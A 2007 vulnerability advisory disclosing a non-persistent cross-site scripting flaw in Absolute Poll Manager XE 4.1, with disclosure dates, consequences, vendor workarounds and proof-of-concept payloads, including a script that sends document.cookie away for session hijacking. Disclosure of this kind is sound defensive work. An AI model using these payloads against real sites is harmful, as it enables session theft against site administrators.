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Date: 30 Aug 2007 10:27:26 -0000
Subject: PR07-23: Non-persistent Cross-site Scripting (XSS) on Absolute
 Poll Manager XE admin page

Date Found: 10th April 2007

Vendor informed: 4th July 2007

Successfully tested on: Absolute Poll Manager XE - Version 4.1. Earlier versions are possibly affected as well but have NOT been tested.

Description: Absolute Poll Manager XE is vulnerable to a vanilla XSS within the "/AbsolutePollManager/xlaapmview.asp" server-side script and "msg" parameter.

No authentication is required to exploit this vulnerability

Consequences: An attacker may be able to cause execution of malicious scripting code in the browser of a polls management user who clicks on a link to a site managed by Absolute Poll Manager. Such code would run within the context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

XSS Proof of concept (PoC) URLs:

Alert box injection -<script>alert("running+code+within+the+context+of+"%2bdocument.domain)</script>

Cookie theft (could be used in session hijacking attacks) -<script>location=""%2bdocument.cookie</script>

or partially obfuscated - 

Successfully tested on:

Web server environment - 

Microsoft IIS 5.0
Absolute Poll Manager XE - Version 4.1

Severity: Medium/High

Authors: Richard Brain and Adrian Pastor of ProCheckUp Ltd (

Vendor URL:

Product URL:

Fix: The yet-to-be released .NET version of Absolute Poll Manager XE will fix this issue. 

For the moment, any of the following workarounds can be applied in order to fix the XSS issue:

1. Password protect the Absolute Poll Manager admin console directory ('/absolutepm/')
2. Restrict access to Absolute Poll Manager admin console directory from trusted IP addresses only

ProCheckUp thanks Xigla Software for working with us.


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